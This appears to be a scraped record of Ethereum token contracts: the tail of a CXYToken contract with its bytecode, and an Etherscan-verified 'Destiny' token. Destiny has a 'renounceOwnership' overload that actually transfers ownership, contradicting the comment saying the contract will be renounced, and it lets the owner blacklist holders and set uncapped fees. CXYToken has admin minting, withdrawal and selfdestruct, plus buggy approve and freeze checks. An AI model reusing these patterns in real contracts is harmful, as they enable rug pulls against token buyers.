balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract CXYToken is StandardToken { address public admin; string public name = "CXYToken"; string public symbol = "CXY"; uint8 public decimals = 8; uint256 public INITIAL_SUPPLY = 100000000000000000; mapping (address => bool) public frozenAccount; //无限期冻结的账户 mapping (address => uint256) public frozenTimestamp; // 有限期冻结的账户 event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor() public { totalSupply_ = INITIAL_SUPPLY; admin = msg.sender; balances[msg.sender] = INITIAL_SUPPLY; } function() public payable { require(msg.value > 0); } function changeAdmin( address _newAdmin ) public returns (bool) { require(msg.sender == admin); require(_newAdmin != address(0)); balances[_newAdmin] = balances[_newAdmin].add(balances[admin]); balances[admin] = 0; admin = _newAdmin; return true; } function generateToken( address _target, uint256 _amount ) public returns (bool) { require(msg.sender == admin); require(_target != address(0)); balances[_target] = balances[_target].add(_amount); totalSupply_ = totalSupply_.add(_amount); INITIAL_SUPPLY = totalSupply_; return true; } function withdraw ( uint256 _amount ) public returns (bool) { require(msg.sender == admin); msg.sender.transfer(_amount); return true; } function freeze( address _target, bool _freeze ) public returns (bool) { require(msg.sender == admin); require(_target != address(0)); frozenAccount[_target] = _freeze; return true; } function freezeWithTimestamp( address _target, uint256 _timestamp ) public returns (bool) { require(msg.sender == admin); require(_target != address(0)); frozenTimestamp[_target] = _timestamp; return true; } function multiFreeze( address[] _targets, bool[] _freezes ) public returns (bool) { require(msg.sender == admin); require(_targets.length == _freezes.length); uint256 len = _targets.length; require(len > 0); for (uint256 i = 0; i < len; i = i.add(1)) { address _target = _targets[i]; require(_target != address(0)); bool _freeze = _freezes[i]; frozenAccount[_target] = _freeze; } return true; } function multiFreezeWithTimestamp( address[] _targets, uint256[] _timestamps ) public returns (bool) { require(msg.sender == admin); require(_targets.length == _timestamps.length); uint256 len = _targets.length; require(len > 0); for (uint256 i = 0; i < len; i = i.add(1)) { address _target = _targets[i]; require(_target != address(0)); uint256 _timestamp = _timestamps[i]; frozenTimestamp[_target] = _timestamp; } return true; } function multiTransfer( address[] _tos, uint256[] _values ) public returns (bool) { require(!frozenAccount[msg.sender]); require(now > frozenTimestamp[msg.sender]); require(_tos.length == _values.length); uint256 len = _tos.length; require(len > 0); uint256 amount = 0; for (uint256 i = 0; i < len; i = i.add(1)) { amount = amount.add(_values[i]); } require(amount <= balances[msg.sender]); for (uint256 j = 0; j < len; j = j.add(1)) { address _to = _tos[j]; require(_to != address(0)); balances[_to] = balances[_to].add(_values[j]); balances[msg.sender] = balances[msg.sender].sub(_values[j]); emit Transfer(msg.sender, _to, _values[j]); } return true; } function transfer( address _to, uint256 _value ) public returns (bool) { require(!frozenAccount[msg.sender]); require(now > frozenTimestamp[msg.sender]); require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(!frozenAccount[_from]); require(now > frozenTimestamp[msg.sender]); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve( address _spender, uint256 _value ) public returns (bool) { require(_value <= balances[_spender]); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function burn(uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); // Check if the sender has enough balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender totalSupply_ = totalSupply_.sub(_value); INITIAL_SUPPLY = totalSupply_; emit Burn(msg.sender, _value); return true; } function getFrozenTimestamp( address _target ) public view returns (uint256) { require(_target != address(0)); return frozenTimestamp[_target]; } function getFrozenAccount( address _target ) public view returns (bool) { require(_target != address(0)); return frozenAccount[_target]; } function getBalance(address _owner) public view returns (uint256) { return balances[_owner]; } function setName ( string _value ) public returns (bool) { require(msg.sender == admin); name = _value; return true; } function setSymbol ( string _value ) public returns (bool) { require(msg.sender == admin); symbol = _value; return true; } function kill() public { require(msg.sender == admin); selfdestruct(admin); } }
0x60806040526004361061017f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461018e578063095ea7b31461021857806318160ddd14610250578063188b5372146102775780631e89d5451461029b57806323b872dd146103295780632e1a7d4d146103535780632ff2e9dc1461036b578063313ce5671461038057806341c0e1b5146103ab57806342966c68146103c057806366188463146103d857806370a08231146103fc5780638f2839701461041d57806395d89b411461043e578063a9059cbb14610453578063b414d4b614610477578063b84c824614610498578063bf120ae5146104f1578063c47f002714610517578063c497780714610570578063c878dad914610591578063c8d90df81461061f578063d70907b014610640578063d73dd62314610664578063d950c43214610688578063dd62ed3e14610716578063e6ad5bc71461073d578063f851a4401461075e578063f8b2cb4f146103fc575b6000341161018c57600080fd5b005b34801561019a57600080fd5b506101a361078f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101dd5781810151838201526020016101c5565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022457600080fd5b5061023c600160a060020a036004351660243561081d565b604080519115158252519081900360200190f35b34801561025c57600080fd5b506102656108a9565b60408051918252519081900360200190f35b34801561028357600080fd5b5061023c600160a060020a03600435166024356108b0565b3480156102a757600080fd5b506040805160206004803580820135838102808601850190965280855261023c95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506109469650505050505050565b34801561033557600080fd5b5061023c600160a060020a0360043581169060243516604435610b79565b34801561035f57600080fd5b5061023c600435610d2f565b34801561037757600080fd5b50610265610d7f565b34801561038c57600080fd5b50610395610d85565b6040805160ff9092168252519081900360200190f35b3480156103b757600080fd5b5061018c610d8e565b3480156103cc57600080fd5b5061023c600435610db3565b3480156103e457600080fd5b5061023c600160a060020a0360043516602435610e58565b34801561040857600080fd5b50610265600160a060020a0360043516610f47565b34801561042957600080fd5b5061023c600160a060020a0360043516610f62565b34801561044a57600080fd5b506101a3611017565b34801561045f57600080fd5b5061023c600160a060020a0360043516602435611072565b34801561048357600080fd5b5061023c600160a060020a0360043516611189565b3480156104a457600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261023c94369492936024939284019190819084018382808284375094975061119e9650505050505050565b3480156104fd57600080fd5b5061023c600160a060020a036004351660243515156111cb565b34801561052357600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261023c9436949293602493928401919081908401838280828437509497506112299650505050505050565b34801561057c57600080fd5b5061023c600160a060020a0360043516611256565b34801561059d57600080fd5b506040805160206004803580820135838102808601850190965280855261023c95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061128c9650505050505050565b34801561062b57600080fd5b50610265600160a060020a0360043516611369565b34801561064c57600080fd5b5061023c600160a060020a036004351660243561137b565b34801561067057600080fd5b5061023c600160a060020a03600435166024356113cb565b34801561069457600080fd5b506040805160206004803580820135838102808601850190965280855261023c95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506114649650505050505050565b34801561072257600080fd5b50610265600160a060020a0360043581169060243516611530565b34801561074957600080fd5b50610265600160a060020a036004351661155b565b34801561076a57600080fd5b5061077361158e565b60408051600160a060020a039092168252519081900360200190f35b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108155780601f106107ea57610100808354040283529160200191610815565b820191906000526020600020905b8154815290600101906020018083116107f857829003601f168201915b505050505081565b600160a060020a03821660009081526020819052604081205482111561084257600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6001545b90565b600354600090600160a060020a031633146108ca57600080fd5b600160a060020a03831615156108df57600080fd5b600160a060020a038316600090815260208190526040902054610908908363ffffffff61159d16565b600160a060020a038416600090815260208190526040902055600154610934908363ffffffff61159d16565b60018181556007919091559392505050565b336000908152600860205260408120548190819081908190819060ff161561096d57600080fd5b33600090815260096020526040902054421161098857600080fd5b865188511461099657600080fd5b87519450600085116109a757600080fd5b60009350600092505b848310156109fa576109e087848151811015156109c957fe5b60209081029091010151859063ffffffff61159d16565b93506109f383600163ffffffff61159d16565b92506109b0565b33600090815260208190526040902054841115610a1657600080fd5b600091505b84821015610b6b578782815181101515610a3157fe5b602090810290910101519050600160a060020a0381161515610a5257600080fd5b610a938783815181101515610a6357fe5b6020908102909101810151600160a060020a0384166000908152918290526040909120549063ffffffff61159d16565b600160a060020a0382166000908152602081905260409020558651610ae590889084908110610abe57fe5b6020908102909101810151336000908152918290526040909120549063ffffffff6115b016565b336000818152602081905260409020919091558751600160a060020a03831691907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908a9086908110610b3457fe5b906020019060200201516040518082815260200191505060405180910390a3610b6482600163ffffffff61159d16565b9150610a1b565b506001979650505050505050565b600160a060020a03831660009081526008602052604081205460ff1615610b9f57600080fd5b336000908152600960205260409020544211610bba57600080fd5b600160a060020a0383161515610bcf57600080fd5b600160a060020a038416600090815260208190526040902054821115610bf457600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610c2457600080fd5b600160a060020a038416600090815260208190526040902054610c4d908363ffffffff6115b016565b600160a060020a038086166000908152602081905260408082209390935590851681522054610c82908363ffffffff61159d16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610cc4908363ffffffff6115b016565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600354600090600160a060020a03163314610d4957600080fd5b604051339083156108fc029084906000818181858888f19350505050158015610d76573d6000803e3d6000fd5b50600192915050565b60075481565b60065460ff1681565b600354600160a060020a03163314610da557600080fd5b600354600160a060020a0316ff5b33600090815260208190526040812054821115610dcf57600080fd5b33600090815260208190526040902054610def908363ffffffff6115b016565b33600090815260208190526040902055600154610e12908363ffffffff6115b016565b600181905560075560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2506001919050565b336000908152600260209081526040808320600160a060020a0386168452909152812054808310610eac57336000908152600260209081526040808320600160a060020a0388168452909152812055610ee1565b610ebc818463ffffffff6115b016565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600090600160a060020a03163314610f7c57600080fd5b600160a060020a0382161515610f9157600080fd5b600354600160a060020a03908116600090815260208190526040808220549285168252902054610fc69163ffffffff61159d16565b600160a060020a039283166000818152602081905260408082209390935560038054909516815291822091909155825473ffffffffffffffffffffffffffffffffffffffff19161790915550600190565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108155780601f106107ea57610100808354040283529160200191610815565b3360009081526008602052604081205460ff161561108f57600080fd5b3360009081526009602052604090205442116110aa57600080fd5b600160a060020a03831615156110bf57600080fd5b336000908152602081905260409020548211156110db57600080fd5b336000908152602081905260409020546110fb908363ffffffff6115b016565b3360009081526020819052604080822092909255600160a060020a0385168152205461112d908363ffffffff61159d16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60086020526000908152604090205460ff1681565b600354600090600160a060020a031633146111b857600080fd5b8151610d769060059060208501906115c2565b600354600090600160a060020a031633146111e557600080fd5b600160a060020a03831615156111fa57600080fd5b50600160a060020a0382166000908152600860205260409020805482151560ff19909116179055600192915050565b600354600090600160a060020a0316331461124357600080fd5b8151610d769060049060208501906115c2565b6000600160a060020a038216151561126d57600080fd5b50600160a060020a031660009081526008602052604090205460ff1690565b6003546000908190819081908190600160a060020a031633146112ae57600080fd5b85518751146112bc57600080fd5b86519350600084116112cd57600080fd5b600092505b8383101561135c5786838151811015156112e857fe5b602090810290910101519150600160a060020a038216151561130957600080fd5b858381518110151561131757fe5b602090810291909101810151600160a060020a038416600090815260089092526040909120805460ff1916821515179055905061135583600161159d565b92506112d2565b5060019695505050505050565b60096020526000908152604090205481565b600354600090600160a060020a0316331461139557600080fd5b600160a060020a03831615156113aa57600080fd5b50600160a060020a0391909116600090815260096020526040902055600190565b336000908152600260209081526040808320600160a060020a03861684529091528120546113ff908363ffffffff61159d16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6003546000908190819081908190600160a060020a0316331461148657600080fd5b855187511461149457600080fd5b86519350600084116114a557600080fd5b600092505b8383101561135c5786838151811015156114c057fe5b602090810290910101519150600160a060020a03821615156114e157600080fd5b85838151811015156114ef57fe5b6020908102909101810151600160a060020a038416600090815260099092526040909120819055905061152983600163ffffffff61159d16565b92506114aa565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000600160a060020a038216151561157257600080fd5b50600160a060020a031660009081526009602052604090205490565b600354600160a060020a031681565b818101828110156115aa57fe5b92915050565b6000828211156115bc57fe5b50900390565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061160357805160ff1916838001178555611630565b82800160010185558215611630579182015b82811115611630578251825591602001919060010190611615565b5061163c929150611640565b5090565b6108ad91905b8082111561163c57600081556001016116465600a165627a7a7230582051bfc3487fb5abc8e492f0a631875feaf3bd301bc20c9caaed3dac6e1ed69efe0029
{"success": true, "error": null, "results": {}}
1,036
0x1711576b6f705fe9d95f81f2bba693fdadde7a74
/** *Submitted for verification at Etherscan.io on 2022-04-05 */ /* Your Destiny will be decided by you Destiny is a social experiment token we want to see how far your willing to chose your own path Liquidity will be locked and contract renounced “It is not in the stars to hold our destiny but in ourselves.” ― William Shakespeare */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function renounceOwnership(address ownershipRenounced) public virtual onlyOwner { require(ownershipRenounced != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, ownershipRenounced); _owner = ownershipRenounced; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Destiny is Context, IERC20, Ownable {/////////////////////////////////////////////////////////// using SafeMath for uint256; string private constant _name = "Destiny";////////////////////////// string private constant _symbol = "Destiny";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 444444444 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 4;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 0;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 4;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x8227A1d3B7D72EcFB0Ecd68deD486e6A908010Dd);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0x8227A1d3B7D72EcFB0Ecd68deD486e6A908010Dd);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 17777777 * 10**9; //4% uint256 public _maxWalletSize = 17777777 * 10**9; //4% uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
